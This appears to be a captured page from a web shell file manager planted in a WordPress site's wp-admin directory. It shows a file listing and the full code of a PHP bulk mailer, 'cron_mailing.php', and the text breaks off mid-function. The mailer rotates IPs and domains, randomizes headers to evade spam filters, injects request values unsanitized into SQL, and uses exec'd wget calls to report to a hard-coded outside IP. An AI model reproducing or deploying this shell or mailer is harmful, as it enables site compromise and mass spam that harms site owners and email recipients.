📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: cron_mailing.php
<?php include_once "/var/www/webmail/WebXmail/connect.php"; date_default_timezone_set('America/New_York'); ini_set("memory_limit","512M"); global $link1,$db_host1,$db_user1,$db_pass1,$db_database1,$DATA_FILE_PATH; $pid=$_REQUEST['pid']; $val=$_REQUEST['val']; echo $pid=$_REQUEST['pid']; #$val=1; if($val==1) { $status=select1("select process_id,mode,iparray,emailarray,subject_line,from_line,from_alias,from_domain,reply_to,body_domain,mail_from,track_id,mta_type,flag,helo,header,creative,file_name,maillimit,sleep,usleep,sent,u_date,test_count,test_mode,test_process,test_mode_limit,url_pattern,content_type,actual_header,multipart,plain_message,html_message,message_type,emp_id,listid_domain_cycle,listid_domains,listid_flag,process_type,queue_limit,listid_process,img_pattern,offer_img,img_path,opt_img,type_2,type_3,type_2_value,type_3_value,ipset,accounts,offer_id from wmail.mprocess where flag=1 and process_name!='adk' and process_id='$pid' ",$link1); } else { $status=select1("select process_id,mode,iparray,emailarray,subject_line,from_line,from_alias,from_domain,reply_to,body_domain,mail_from,track_id,mta_type,flag,helo,header,creative,file_name,maillimit,sleep,usleep,sent,u_date,test_count,test_mode,test_process,test_mode_limit,url_pattern,content_type,actual_header,multipart,plain_message,html_message,message_type,emp_id,listid_domain_cycle,listid_domains,listid_flag,process_type,queue_limit,listid_process,img_pattern,offer_img,img_path,opt_img,type_2,type_3,type_2_value,type_3_value,ipset,accounts,offer_id from wmail.mprocess where flag=1 and process_name!='adk' order by process_id asc limit 1 ",$link1); } if(empty($status))exit; mysql_query("update wmail.mprocess set flag='2' where process_id = '$status[0]'"); $process_id=trim($status[0]); $mode=trim($status[1]); $iparray=trim($status[2]); $gl_iparray=$iparray; $emailarray=trim(stripslashes($status[3])); $subject_line=trim(stripslashes($status[4])); $from_line=trim(stripslashes($status[5])); $from_alias=trim(stripslashes($status[6])); $from_domain=trim(stripslashes($status[7])); $groupid=trim(stripslashes($status[8])); $body_domain=trim(stripslashes($status[9])); $global_mail_from=trim(stripslashes($status[10])); $trackid=trim($status[11]); $mta_type=trim($status[12]); $flag=trim($status[13]); $helo=trim(stripslashes($status[14])); $header=trim($status[15]); $global_message=trim(stripslashes($status[16])); $file_name=trim($status[17]); $maillimit=trim($status[18]); $sleep=trim($status[19]); $usleep=trim($status[20]); $sent=trim($status[21]); $u_date=trim($status[22]); $test_count_kill_limit=trim($status[23]); $test_mode=trim($status[24]); $test_process=trim($status[25]); $test_mode_limit=trim($status[26]); $url_pattern=trim($status[27]); $ncontent_type=trim(stripslashes($status[28])); $nactual_header=trim(stripslashes($status[29])); $nmultipart=trim(stripslashes($status[30])); $nplain_message=trim(stripslashes($status[31])); $nhtml_message=trim(stripslashes($status[32])); $nmessage_type=trim(stripslashes($status[33])); $emp_id=trim(stripslashes($status[34])); $listid_domain_cycle=trim($status[35]); $listid_domains=trim($status[36]); $gl_listid_domains=$listid_domains; $listid_flag=trim($status[37]); $process_type=trim($status[38]); $queue_limit=trim($status[39]); $listid_process=trim($status[40]); $img_pattern=trim($status['img_pattern']); $offer_img=trim($status['offer_img']); $img_path=trim($status['img_path']); $opt_img=trim($status['opt_img']); $type_2=trim($status['type_2']); $type_2_value=trim($status['type_2_value']); $type_3=trim($status['type_3']); $type_3_value=trim($status['type_3_value']); $ipset=trim($status['ipset']); $accounts=trim($status['accounts']); $offer_id=trim($status['offer_id']); if(trim($status['listid_file_flag'])==1) { $lines = file("$DATA_FILE_PATH/".trim($status[36])); $listid_domains=implode(",",$lines); }else{ $listid_domains=trim($status[36]); } $Type_2_value=explode("\n",$type_2_value); $Type_3_value=explode("\n",$type_3_value); $type2=trim($Type_2_value[0]); $type3=trim($Type_3_value[0]); $utf8_subject=unicode_utf8($subject_line,rand(3,5),"utf8"); $utf8_from=unicode_utf8($from_line,rand(3,5),"utf8"); if($queue_limit==0){$queue_limit=500;} if($type_2==0){$type_2=50000;} if($type_2==0){$type_2=50000;} $Ldomains=explode(",",$listid_domains); $yahoolistid=trim($Ldomains[0]); $end_yahoolistid=end($Ldomains); $ct_Ldomains=count($Ldomains); $send_date=date("Y-m-d H:i:s"); list($test_count,$kill_limt)=explode(",",$test_count_kill_limit); if(!isset($kill_limt)){$kill_limt=$test_count;} if($test_count==''){$test_count=100;} if($helo==''){$helo='localhost';} $reply_to=''; if($mail_from==''){$mail_from='{alias}@{hname}';} if($reply_to==''){$reply_to='{alias}@{hname}';} if(empty($sleep)){$sleep=0;} $csleep=round(50000000/$sleep,0); $Array_ip=explode(",",$iparray); shuffle($Array_ip); $files="$DATA_FILE_PATH/$file_name"; $test_email=explode(",",$emailarray); $int1=rand(10,99); $int2=rand(99,999); $int3=rand(999,9999); $int4=rand(9999,99999); $int5=rand(99999,999999); $offersent=array(); $handle = @fopen($files,"r"); $counts = 0; list($ip,$hname,$frm_path)=explode("|",$Array_ip[0]); $G_Array_ip=$Array_ip; if($frm_path==NULL){$frm_path="contact";} $message=$global_message; echo " Process ID : $process_id \n\n"; if($mode=='t') { if($handle) { while (!feof($handle)) { $buffer = fgets($handle, 4096); list($em_id,$email,$stats_id,$dgidinfo)=explode("|",$buffer); $message=$global_message; $ce=count($test_email);$ci=count($Array_ip); echo "No of IP Selected : $ci <BR>"; echo "No of Email Selected : $ce <BR>"; $yahoolistid_count=count($Ldomains); $loop=0; for($tmlimit=0;$tmlimit < $test_mode_limit;$tmlimit ++ ) { foreach ($Array_ip as $ipvalue) { list($ip,$hname,$frm_path)=explode("|",$ipvalue); echo "$ip,$hname,$frm_path<BR>"; if($listid_flag!='normal') { if(count($Type_2_value) >1 ) { $type2=trim($Type_2_value[0]); array_shift($Type_2_value); $Type_2_value[]=$type2; } else { $type2=trim($Type_2_value[0]); } if(count($Type_3_value) >1 ) { $type3=trim($Type_3_value[0]); array_shift($Type_3_value); $Type_3_value[]=$type3; } else { $type3=trim($Type_3_value[0]); } if(!mysql_ping($link1)){mysqlreconnect();} if(count($Ldomains) >1 ) { $yahoolistid=trim($Ldomains[0]); array_shift($Ldomains); $Ldomains[]=$yahoolistid; if($listid_process=="once" && $yahoolistid_count==$loop) { mysql_query("update wmail.mprocess set flag='3' where process_id =$process_id"); exit; } } else { $yahoolistid=trim($Ldomains[0]); if($listid_process=="once" && $yahoolistid_count==$loop) { mysql_query("update wmail.mprocess set flag='3' where process_id =$process_id"); exit; } } } foreach ($test_email as $email) { $message=$global_message; $status=select1("select flag from wmail.mprocess where process_id = '$process_id'",$link1); if($status[0]==3) { mysql_query("update wmail.mprocess set flag='3' where process_id =$process_id"); exit; } sendmails($email); sleep(1); echo "$ip - $hname - $email"; } $loop++; } } mysql_query("update wmail.mprocess set flag='3' where process_id =$process_id"); exit; } } } elseif(($mode=='b') || ($mode=='w')) { if($handle) { while (!feof($handle)) { $buffer = fgets($handle, 4096); list($em_id,$email,$stats_id,$dgidinfo)=explode("|",$buffer); $message=$global_message; $v_domain=explode('@',$email); $isp=strtolower(trim($v_domain[1])); $isp=validate($isp); $counts++; #if($counts%$ct_Ldomains==0){shuffle($Ldomains);} { global $local_path; $serveralias=str_replace("http://","",$local_path); $serveralias=str_replace(".webxmail.us","",$serveralias); echo "$process_id|$counts|$em_id|$email|$subject_line|$from_line|$ip|$trackid|$stats_id|$isp|$send_datetime|$file_name|$ipset|$yahoolistid|\n"; sendmails($email); update_trkstatsent($trackid,$stats_id,$files,0); if($counts%5000==0) { update_trkstatsent($trackid,$stats_id,$files,1); unset($trkstatsent); } updatedb($trackid,$stats_id,0,$ip,$files,$isp); if($counts%50000==0) { updatedb($trackid,$stats_id,1,$ip,$files,$isp); unset($offersent); } bodydomain($trackid,$body_domain,$isp,0); $hour=date("H"); if($listid_flag=='normal'){from_updatedb($process_id,$from_domain,0);} else{listid_updatedb($process_id,$yahoolistid,0);} $send_date=date("Ymd_H"); $send_datetime=date("Y-m-d H:i:s"); $tet="$em_id|$email|$subject_line|$from_line|$ip|$trackid|$isp|$send_datetime|Process ID: $process_id|IP: $ip|File : $file_name|IPSet : $ipset |Count : $counts|\n"; $file1="/var/www/html/WebXmail_RmT/WebX_Sendinfo/wm_sentinfo_$serveralias"."_$send_date"; $fsent=fopen($file1,"a+"); fputs($fsent,$tet); fclose($fsent); } if($counts%100==0){$utf8_subject=unicode_utf8($subject_line,rand(3,5),"utf8");} if($counts%100==0){$utf8_from=unicode_utf8($from_line,rand(3,5),"utf8");} if($listid_flag!='normal') { if($counts%$type_2==0) { if($listid_process=="continue") { if(count($Type_2_value) >1 ) { $Type_2_value[]=$type2; array_shift($Type_2_value); $type2=trim($Type_2_value[0]); } else { $type2=trim($Type_2_value[0]); } } } } if($listid_flag!='normal') { if($counts%$type_3==0) { if($listid_process=="continue") { if(count($Type_3_value) >1 ) { $Type_3_value[]=$type3; array_shift($Type_3_value); $type3=trim($Type_3_value[0]); } else { $type3=trim($Type_3_value[0]); } } } } if($listid_flag!='normal') { if($counts%$listid_domain_cycle==0) { #echo "<br>COUNT = $counts-$yahoolistid<br>"; if($listid_process=="continue") { if(count($Ldomains) >1 ) { $Ldomains[]=$yahoolistid; array_shift($Ldomains); $yahoolistid=trim($Ldomains[0]); } else { $yahoolistid=trim($Ldomains[0]); } } else { echo "im inside"; if(count($Ldomains) >1 ) { array_shift($Ldomains); $yahoolistid=trim($Ldomains[0]); } else { $yahoolistid=trim($Ldomains[0]); if($end_yahoolistid==$yahoolistid) { if($test_mode=='once') { foreach ($test_email as $email){ sendmails($email);} } else { foreach ($Array_ip as $ipvalue) { list($ip,$hname,$frm_path)=explode("|",$ipvalue); foreach ($test_email as $email){sendmails($email);} } } del_lines($files,$counts); update_trkstatsent($trackid,$stats_id,$files,1); updatedb($trackid,$stats_id,1,$ip,$files,$isp); bodydomain($trackid,$body_domain,$isp,1); if($listid_flag=='normal'){from_updatedb($process_id,$from_domain,1);} else{listid_updatedb($process_id,$yahoolistid,1);} if(!mysql_ping($link1)){mysqlreconnect();} mysql_query("update wmail.mprocess set sent='$counts',flag='3' where process_id = '$process_id' "); exit; } } } } } if($counts%$test_count==0 ) { if($test_mode=='once') { foreach ($test_email as $email){ sendmails($email);} } else { foreach ($Array_ip as $ipvalue) { list($ip,$hname,$frm_path)=explode("|",$ipvalue); foreach ($test_email as $email){sendmails($email);} } } } if($test_process=='test&kill' && $counts%$kill_limt==0 ) { echo "inside 123"; del_lines($files,$counts); update_trkstatsent($trackid,$stats_id,$files,1); updatedb($trackid,$stats_id,1,$ip,$files,$isp); bodydomain($trackid,$body_domain,$isp,1); if($listid_flag=='normal'){from_updatedb($process_id,$from_domain,1);} else{listid_updatedb($process_id,$yahoolistid,1);} if(!mysql_ping($link1)){mysqlreconnect();} mysql_query("update wmail.mprocess set sent='$counts',flag='3' where process_id = '$process_id' "); exit; } usleep($csleep); if(!mysql_ping($link1)){mysqlreconnect();} mysql_query("update wmail.mprocess set sent='$counts' where process_id = '$process_id' "); if($counts%$maillimit==0) { if(count($Array_ip) >1 ) { my: list($ipt,$hnamet,$frm_patht)=explode("|",$Array_ip[0]); array_shift($Array_ip); list($ip,$hname,$frm_path)=explode("|",$Array_ip[0]); $ip=trim($ip);if(empty($ip)){goto my;} if($mta_type=='pmta') { if(!mysql_ping($link1)){mysqlreconnect();} $queuestatus=select1("select queue from wmail.mqueue where isp='$isp' and ip='$ip' "); if($queuestatus[0] > $queue_limit ) { $skiplimit=$csleep*$maillimit; usleep($skiplimit); $Array_ip[]="$ipt|$hnamet|$frm_patht"; goto my; } if($frm_path==NULL){$frm_path="contact";} $from_address ="$frm_path@$hname"; $Array_ip[]="$ipt|$hnamet|$frm_patht"; } } else { ipskip: list($ip,$hname,$frm_path)=explode("|",$Array_ip[0]); if($mta_type=='pmta') { if(!mysql_ping($link1)){mysqlreconnect();} $queuestatus=select1("select queue from wmail.mqueue where isp='$isp' and ip='$ip' "); if($queuestatus[0] > $queue_limit ) { $skiplimit=$csleep*$maillimit; usleep($skiplimit); goto ipskip; } } } } if($counts%3==0) { if(!mysql_ping($link1)){mysqlreconnect();} $status=select1("select flag,ipflag,subject_line,from_line,body_domain,from_domain,mail_from,emailarray,test_count,queue_limit,sleep,maillimit,actual_header,iparray,listid_domain_cycle,listid_domains from wmail.mprocess where process_id = '$process_id'",$link1); if($mta_type=='pmta') { $ck_queue_limit= 2.5 * $queue_limit ; $queuestatus=select1("select count(sro) from wmail.mqueue where queue > '$ck_queue_limit' and isp='$isp'"); if($queuestatus[0] > 50 ) { echo " Too much of Queue "; $status['flag']=3; } } if($status['flag']==3) { del_lines($files,$counts); if(!mysql_ping($link1)){mysqlreconnect();} mysql_query("update wmail.mprocess set sent='$counts' where process_id = '$process_id' "); update_trkstatsent($trackid,$stats_id,$files,1); updatedb($trackid,$stats_id,1,$ip,$files,$isp); bodydomain($trackid,$body_domain,$isp,1); $hour=date("H"); if($listid_flag=='normal'){from_updatedb($process_id,$from_domain,1);} else{listid_updatedb($process_id,$yahoolistid,1);} { list($ip,$hname,$frm_path)=explode("|",$ipvalue); foreach ($test_email as $email){ sendmails($email);} } exit; } if($status['ipflag']==2) { $sleep=trim($status['sleep']); $csleep=round(50000000/$sleep,0); $subject_line=trim($status['subject_line']); $from_line=trim($status['from_line']); $from_domain=trim($status['from_domain']); $body_domain=trim($status['body_domain']); $global_mail_from=trim(stripslashes($status['mail_from'])); $emailarray=trim($status['emailarray']); $test_email=explode(",",$emailarray); $test_count_kill_limit=trim($status['test_count']); list($test_count,$kill_limt)=explode(",",$test_count_kill_limit); if(!isset($kill_limt)){$kill_limt=$test_count;} if($test_count==''){$test_count=100;} $queue_limit=trim($status['queue_limit']); if($queue_limit==0){$queue_limit=500;} $maillimit=trim($status['maillimit']); $listid_domain_cycle=trim($status['listid_domain_cycle']); $nactual_header=trim(stripslashes($status['actual_header'])); $iparray=trim($status['iparray']); $listid_domains=trim($status['listid_domains']); if($gl_listid_domains != $listid_domains) { $Ldomains=explode(",",$listid_domains); $yahoolistid=trim($Ldomains[0]); $end_yahoolistid=end($Ldomains); $gl_listid_domains=$listid_domains; } $ct_Ldomains=count($Ldomains); if($gl_iparray != $iparray) { $Array_ip=explode(",",$iparray); shuffle($Array_ip); $gl_iparray=$iparray; } } } } del_lines($files,$counts); update_trkstatsent($trackid,$stats_id,$files,1); updatedb($trackid,$stats_id,1,$ip,$files,$isp); bodydomain($trackid,$body_domain,$isp,1); $hour=date("H"); if($listid_flag=='normal'){from_updatedb($process_id,$from_domain,1);} else{listid_updatedb($process_id,$yahoolistid,1);} if(!mysql_ping($link1)){mysqlreconnect();} mysql_query("update wmail.mprocess set sent='$counts',flag='3' where process_id = '$process_id' "); #foreach ($Array_ip as $ipvalue) { list($ip,$hname,$frm_path)=explode("|",$ipvalue); foreach ($test_email as $email){sendmails($email);} } exit; } } else if($mode=='d') { $dom_test =array(); $test_domain = explode("\n",$global_message); $num= count($test_domain); foreach ( $iparray as $value ) { list($ip,$hname,$frm_path) = explode("|",$value); if($frm_path==NULL){$frm_path="newsletter";} foreach( $test_domain as $message) { $subject="$subject"; $from="$from"; { foreach ($test_email as $email){ sendmails($email); } } } } } #------------------------------------ Delete Lines -----------------------------------------------------------------------------# function del_lines($files,$X) { @chmod($files,0777); $start=exec("wc -l $files"); $lines = file($files); $first_line = $lines[0]; $lines = array_slice($lines, $X); // Write to file $file = fopen($files, 'w'); fwrite($file, implode('', $lines)); fclose($file); $end=exec("wc -l $files"); $diff=$start-$end; if($diff==0){echo "<h4><blink> Change the Mode Of The File OR Change Your Data File </h4></blink>";} echo "<br> No of ids in the file Before: <B>$start</B> After: <B>$end</B> Difference is <b>$diff<br><br></b>"; } #------------------------------------ Update IP + SENT Function -----------------------------------------------------------------------------# function updatedb($trackid,$stats_id,$update,$ip,$files,$isp) { global $offersent,$process_type,$file_name; @$str = trim($trackid)."|".trim($stats_id)."|".trim($ip)."|".trim($files)."|".trim($esp)."|".trim($isp); if($update==0) { if(array_key_exists($str,$offersent)){$offersent[$str] = $offersent[$str] + 1;} else{$offersent[$str] = 1;} } elseif($update==1) { $inp = array_keys($offersent); foreach($inp as $data) { $limit = $offersent[$data]; $da = explode("|",$data); $str = trim($da[0])."|".trim($da[1])."|".trim($da[2])."|".trim($da[3])."|".trim($da[4])."|".trim($da[5]); $updateurl="http://74.208.65.122/Webxmail_send/sentmail_update.php?$str|$limit|$process_type"; $updatecmd="wget -b -o /dev/null -O /dev/null '$updateurl'"; exec($updatecmd); } } } #------------------------------------ Update SENT in red_global Function -----------------------------------------------------------------------------# function update_trkstatsent($trackid,$stats_id,$files,$update) { global $trkstatsent,$process_type; @$str = trim($trackid)."|".trim($stats_id)."|".trim($files); if($update==0) { if(array_key_exists($str,$trkstatsent)){$trkstatsent[$str] = $trkstatsent[$str] + 1;} else{$trkstatsent[$str] = 1;} } elseif($update==1) { $inp = array_keys($trkstatsent); foreach($inp as $data) { $limit = $trkstatsent[$data]; $da = explode("|",$data); $str = trim($da[0])."|".trim($da[1])."|".trim($da[2]); $updateurl="http://74.208.65.122/Webxmail_send/global_sent_update.php?$str|$limit|$process_type|"; $updatecmd="wget -b -o /dev/null -O /dev/null '$updateurl'"; exec($updatecmd); } } } #------------------------------------ Update From Domain -----------------------------------------------------------------------------# function from_updatedb($process_id,$from_domain,$update) { global $fromsent,$local_server,$local_path,$isp; $hour=date("H"); $sendingdate=date("Y-m-d"); $str = trim($process_id)."|".trim($from_domain)."|".trim($sendingdate)."|".trim($hour); if($update==0) { if(array_key_exists($str,$fromsent)){$fromsent[$str] = $fromsent[$str] + 1;} else{$fromsent[$str] = 1;} } elseif($update==1) { $inp = array_keys($fromsent); foreach($inp as $data) { $limit = $fromsent[$data]; $da = explode("|",$data); $str = trim($da[0])."|".trim($da[1]); $str2 = trim($da[1])."|".trim($da[2])."|".trim($da[3]); #echo "$local_server/ins_fromdom.php?$str|$limit\n"; file_get_contents("$local_server/ins_fromdom.php?$str|$limit"); $serveralias=str_replace("http://","",$local_path); $serveralias=str_replace(".webxmail.us","",$serveralias); ##file_get_contents("http://1and1-1.webxmail.us/ins_fromdom.php?$serveralias|$isp|$str2|$limit"); } } } #------------------------------------ Update List ID -----------------------------------------------------------------------------# function listid_updatedb($process_id,$from_domain,$update) { global $listidsent,$local_server; $str = trim($process_id)."|".trim($from_domain); if($update==0) { if(array_key_exists($str,$listidsent)){$listidsent[$str] = $listidsent[$str] + 1;} else{$listidsent[$str] = 1;} } elseif($update==1) { $inp = array_keys($listidsent); foreach($inp as $data) { $limit = $listidsent[$data]; $da = explode("|",$data); $str = trim($da[0])."|".trim($da[1]); #echo "$local_server/ins_listid.php?$str|$limit\n"; file_get_contents("$local_server/ins_listid.php?$str|$limit"); } } } #------------------------------------------ Body Domain Update ----------------------------------------------------------# function bodydomain($trackid,$body_domain,$isp,$update) { global $bodydomainsent,$local_path; $str = trim($trackid)."|".trim($body_domain)."|".trim($isp); if($update==0) { if(array_key_exists($str,$bodydomainsent)){$bodydomainsent[$str] = $bodydomainsent[$str] + 1;} else{$bodydomainsent[$str] = 1;} } elseif($update==1) { $inp = array_keys($bodydomainsent); foreach($inp as $data) { $limit = $bodydomainsent[$data]; $da = explode("|",$data); $str = trim($da[0])."|".trim($da[1])."|".trim($da[2]); $serveralias=str_replace("http://","",$local_path); $serveralias=str_replace(".webxmail.us","",$serveralias); ## file_get_contents("http://1and1-1.webxmail.us/ins_bodydomain.php?$serveralias|$str|$limit"); } } } #---------------------------------------- Sendmail -------------------------------------------------------------------------------# function sendmails($email) { global $accounts,$body_domain,$em_id,$emailarray,$emp_id,$file_name,$flag,$frm_path,$from,$from_alias,$from_domain,$from_line,$global_mail_from,$global_message,$header,$helo,$hname,$img_path,$img_pattern,$ip,$iparray,$isp,$last_email,$last_ip,$mail_from,$maillimit,$message,$mode,$mta_type,$mtatype,$nactual_header,$ncontent_type,$nhtml_message,$nmessage_type,$nmultipart,$nplain_message,$offer_img,$opt_img,$process_id,$reply_to,$send_date,$sent,$serveralias,$sleep,$stats_id,$subject,$subject_line,$texttype,$track_id,$trackid,$type2,$type3,$u_date,$url_pattern,$usleep,$utf8_from,$utf8_subject,$yahoolistid,$offer_id,$groupid,$ipset,$int1,$int2,$int3,$int4,$int5,$dgidinfo; $mail_from=$global_mail_from; $html_mess=$nhtml_message; $plain_mess=$nplain_message; $em=explode("@",$email); $fname=$em[0]; list($rurl,$ourl,$uurl,$purl,$iurl,$o2url,$o3url,$turl)=get_url_pattern($trackid,$stats_id,$em_id,$ip,$url_pattern,$dgidinfo,$fname); $offer_img_url=get_img_pattern_url($img_pattern,$offer_img,$img_path,$dgidinfo); $opt_img_url=get_img_pattern_url($img_pattern,$opt_img,$img_path,$dgidinfo); $mess_replace_fm=array("{rurl}","{ourl}","{uurl}","{purl}","{iurl}","{o2url}","{o3url}","{turl}","{domain}","{offerimg}","{offeruns}","{listid}","{type2}","{type3}"); $mess_replace_to=array($rurl,$ourl,$uurl,$purl,$iurl,$o2url,$o3url,$turl,$body_domain,$offer_img_url,$opt_img_url,$yahoolistid,$type2,$type3); $html_mess=str_replace($mess_replace_fm,$mess_replace_to,$html_mess); $html_mess=str_replace($mess_replace_fm,$mess_replace_to,$html_mess); ## calling {type3} in Mail Content to replace rurl etc $plain_mess=str_replace($mess_replace_fm,$mess_replace_to,$plain_mess); if ($nmessage_type=='base64'){$html_mess=base64_encode($html_mess);$plain_mess=base64_encode($plain_mess);} else if($nmessage_type=='quoted'){$plain_mess=quoted_printable_encode($plain_mess);$html_mess=quoted_printable_encode($html_mess);} if($ncontent_type=='multipart') { $nactual_header=trim($nactual_header); $nmultipart=trim($nmultipart); $message=$nactual_header."\r\n".$nmultipart; #$message=trim(preg_replace("/(^[\r\n]*|[\r\n]+)[\s\t]*[\r\n]+/", "\n", $message)); // To Remove Empty Line in headers $message=str_replace("{html_message}","\n $html_mess \n",$message); $message=str_replace("{text_message}","\n $plain_mess \n",$message); $message=trim($message); } else { $nactual_header=trim($nactual_header); $message=$nactual_header."\r\n".$html_mess; $message=trim($message); } $boundary=uniqid(); $day=date("Y.m.d-h.i.s"); $ddt=date('r'); $hname=trim($hname);$frm_path=trim($frm_path);$ip=trim($ip); $fromemail="$from_domain"; $freplace=array("{hname}","{alias}"); $treplace=array($hname,$from_alias); ############################################### Write in File for Future Referance ################################# $hour=date("H"); $sendingdate=date("Y-m-d"); $send_datetime=date("Y-m-d H:i:s"); $jv_domain=explode('@',$email); $jobisp=strtolower(trim($jv_domain[1])); $jobisp=validate($jobisp); $temp_fm=array("{listid}","{type2}","{type3},{hname}"); $temp_to=array($yahoolistid,$type2,$type3,$hname); $w_body_domain=str_replace($temp_fm,$temp_to,$body_domain); $w_from_domain=str_replace($temp_fm,$temp_to,$from_domain); $w_mail_from=str_replace($temp_fm,$temp_to,$mail_from); $send_date=date("Ymd_H"); $text="$em_id|$email|$trackid|$stats_id|$offer_id|$jobisp|$process_id|$hour|$sendingdate|$send_datetime|$emp_id|$groupid|$mta_type|$accounts|$serveralias|$mode|$url_pattern|$ip|$ipset|$hname|$w_body_domain|$w_from_domain|$w_mail_from|$yahoolistid|$type2|$type3|$subject_line|$from_line|"; $file1="/var/www/webmail/domains/sent_$serveralias"."_$send_date"; file_put_contents($file1, $text.PHP_EOL, FILE_APPEND | LOCK_EX); ############################################### Write in File for Future Referance ################################# $rrr=random(100); $besubject_line=str_replace("{rand100}",$rrr,$subject_line); $besubject_line=base64_encode($besubject_line); $besubject_line="=?UTF-8?B?".$besubject_line."?="; $special = substr(str_shuffle(str_repeat("!@#$%^&*()_+=-{}[]|:;'<>?,/0123456789abcdefghijklmnopqrstuvwxyz", 10)), 5, 10); $int1++; $int2++; $int3++; $int4++; $int5++; $replace_fm=array("{besub}","{fname}","{domain}","{hname}","{alias}","{from}","{sub}","{fromemail}","{bodydomain}","{fromdomain}","{helo}","{ip}","{to}","{replyemail}","{fromalias}","{hname}","{uniq}","{rand3}","{rand4}","{rand10}","{rand15}","{rand20}","{rand25}","{rand30}","{rand35}","{rand40}","{rand45}","{rand50}","{rand64}","{rand100}","{math3}","{math4}","{math5}","{math6}","{math7}","{math8}","{math9}","{math10}","{math15}","{math20}","{math25}","{math30}","{math35}","{math40}","{math45}","{math50}","{math64}","{math100}","{rand8}","{rand5}","{mailfrom}","{listid}","{spchar}","{utf8sub}","{utf8from}","{em_id}","{offerimg}","{offeruns}","{type2}","{type3}","{int1}","{int2}","{int3}","{int4}","{int5}","{hdt}","{srv}"); $replace_to=array($besubject_line,$fname,$body_domain,$hname,$from_alias,$from_line,$subject_line,$fromemail,$body_domain,$from_domain,$helo,$ip,$email,$reply_to,$from_alias,$hname,$boundary,random(3),random(4),random(10),random(15),random(20),random(25),random(30),random(35),random(40),random(45),random(50),random(64),random(100),math(3),math(4),math(5),math(6),math(7),math(8),math(9),math(10),math(15),math(20),math(25),math(30),math(35),math(40),math(45),math(50),math(64),math(100),random(8),random(5),$mail_from,$yahoolistid,$special,$utf8_subject,$utf8_from,$em_id,$offer_img_url,$opt_img_url,$type2,$type3,$int1,$int2,$int3,$int4,$int5,hdt(),$serveralias); $mail_from=str_replace($replace_fm,$replace_to,$mail_from); $reply_to=str_replace($replace_fm,$replace_to,$reply_to); $message=str_replace($replace_fm,$replace_to,$message); $message=str_replace($replace_fm,$replace_to,$message); //Email Subject and Email From Replace $negativefile = file_get_contents('/var/www/html/Wxtemp/negative'); $message=$message."\r\n".$negativefile; if($mta_type=='postfix'){$host=$ip;$port='2505';usleep(20000);} if($mta_type=='pmta'){$host='127.0.0.1';$port='2525';} if(!filter_var($ip, FILTER_VALIDATE_IP)){continue;} list($pmtaname,$he)=explode(",",trim($helo)); if(isset($he)){ $localhost=trim($he); } else{ $localhost="localhost"; } if(strstr($ip, ':')){$pmta=str_replace(":","","$ip");} else if($pmtaname=='localhost' || $pmtaname=='' || $pmtaname=='ip' ){$pmta="$ip";} else{$pmta=$pmtaname."_".$ip;} $email=trim($email); $job="$jobisp|$trackid|$stats_id|$emp_id|$boundary|$groupid"; if($smtp = fsockopen($host,$port)) { fputs($smtp,"helo $localhost \r\n"); $line = fgets($smtp, 1024); fputs($smtp,"mail from: $mail_from \r\n"); $line = fgets($smtp, 1024); fputs($smtp,"rcpt to: $email\r\n"); $line = fgets($smtp, 1024); fputs($smtp,"data\r\n"); if($port==2525) { fputs($smtp,"X-virtual-MTA:$pmta\r\n"); fputs($smtp,"x-job: $job\r\n"); } fputs($smtp,"$message\r\n"); fputs($smtp,".\r\n"); $line = fgets($smtp, 1024); fputs($smtp, "QUIT\r\n"); fclose($smtp); } else {echo "!! Error, can't connect to the server $host on the port $port";} } function random($length) { $chars = array_merge(range('a', 'z'),range('A', 'Z'), range(0, 9)); shuffle($chars); return implode(array_slice($chars, 0, $length)); } function math($len) { for($i=0;$i<$len;$i++) { $numbers = range(0,9); shuffle($numbers); $ran[]=$numbers[1]; } return implode($ran); } function hdt() { date_default_timezone_set('US/Eastern'); $headerdt=date('r (T)'); return $headerdt; } function validate($isp) { if ($isp == 'yahoo.com' || $isp == 'rocketmail.com' || $isp == 'ymail.com' ){ $isp='yahoo'; return $isp; } if ($isp 